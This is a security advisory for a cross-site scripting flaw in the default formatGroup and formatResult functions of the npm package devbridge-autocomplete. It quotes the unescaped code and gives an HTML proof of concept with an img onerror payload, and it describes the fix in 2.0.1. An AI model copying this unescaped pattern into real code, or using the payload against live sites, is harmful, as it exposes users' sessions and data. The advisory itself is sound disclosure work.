GHSA-hvqh-jw65-wcpq

Source

https://github.com/advisories/GHSA-hvqh-jw65-wcpq

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-hvqh-jw65-wcpq/GHSA-hvqh-jw65-wcpq.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-hvqh-jw65-wcpq

Published

2026-06-22T23:00:50Z

Modified

2026-06-22T23:15:40Z

Severity

5.4 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N CVSS Calculator

Summary

devbridge-autocomplete has XSS in its default formatters: formatGroup and formatResult fail to escape HTML in untrusted inputs

Details

Summary

The default formatGroup and formatResult functions in devbridge-autocomplete concatenate values into HTML without escaping, allowing XSS when an attacker controls (or can taint) the suggestion data source.

Details

1. formatGroup — category is interpolated raw.

src/format.ts:

function formatGroup(suggestion, category) {
    return '<div class="autocomplete-group">' + category + '</div>';
}

If groupBy is used and the grouping field of any suggestion contains HTML, that HTML is executed.

2. formatResult — early-return branch returns suggestion.value raw.

src/format.ts:

function formatResult(suggestion, currentValue) {
    if (!currentValue) {
        return suggestion.value;   // un-escaped
    }
    /* ... non-empty path escapes correctly ... */
}

The early-return branch is reached when suggest() renders with an empty currentValue, which happens with minChars: 0 and a server that returns suggestions for an empty query. The returned string is concatenated into the container's innerHTML.

PoC (formatGroup)

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>PoC: formatGroup XSS in jQuery-Autocomplete v2.0.0</title>
</head>
<body>
    <input id="ac" type="text" placeholder="Type 'a' to trigger" autocomplete="off">

    <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
    <script src="dist/jquery.autocomplete.js"></script>
    <script>
        var poisoned = [
            { value: 'Apple',   data: { category: "<img src=x onerror=\"alert('XSS via formatGroup')\">" } },
            { value: 'Avocado', data: { category: 'Safe Group' } }
        ];

        $('#ac').devbridgeAutocomplete({
            lookup: poisoned,
            groupBy: 'category',
            minChars: 1
        });
    </script>
</body>
</html>

Originally identified by an earlier human analysis; the PoC above was produced with the assistance of Claude Opus 4.7.

Impact

XSS in pages that render attacker-controllable suggestion data. The actual impact depends on what the embedding page has access to (cookies, session tokens, DOM), per standard reflected/stored XSS.

Patch

Both formatters now run their interpolated input through the browser's text-node escaping (createElement + textContent) before producing the HTML string. Fixed in version 2.0.1.

Database specific

{
    "cwe_ids":  [
        "CWE-79"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-06-22T23:00:50Z",
    "nvd_published_at":  null,
    "severity":  "MODERATE"
}

References

Affected packages

npm / devbridge-autocomplete

Package

Name: devbridge-autocomplete; View open source insights on deps.dev
Purl: pkg:npm/devbridge-autocomplete

Affected ranges

Type: SEMVER
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

2.0.1

Database specific

last_known_affected_version_range

"<= 2.0.0"

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-hvqh-jw65-wcpq/GHSA-hvqh-jw65-wcpq.json"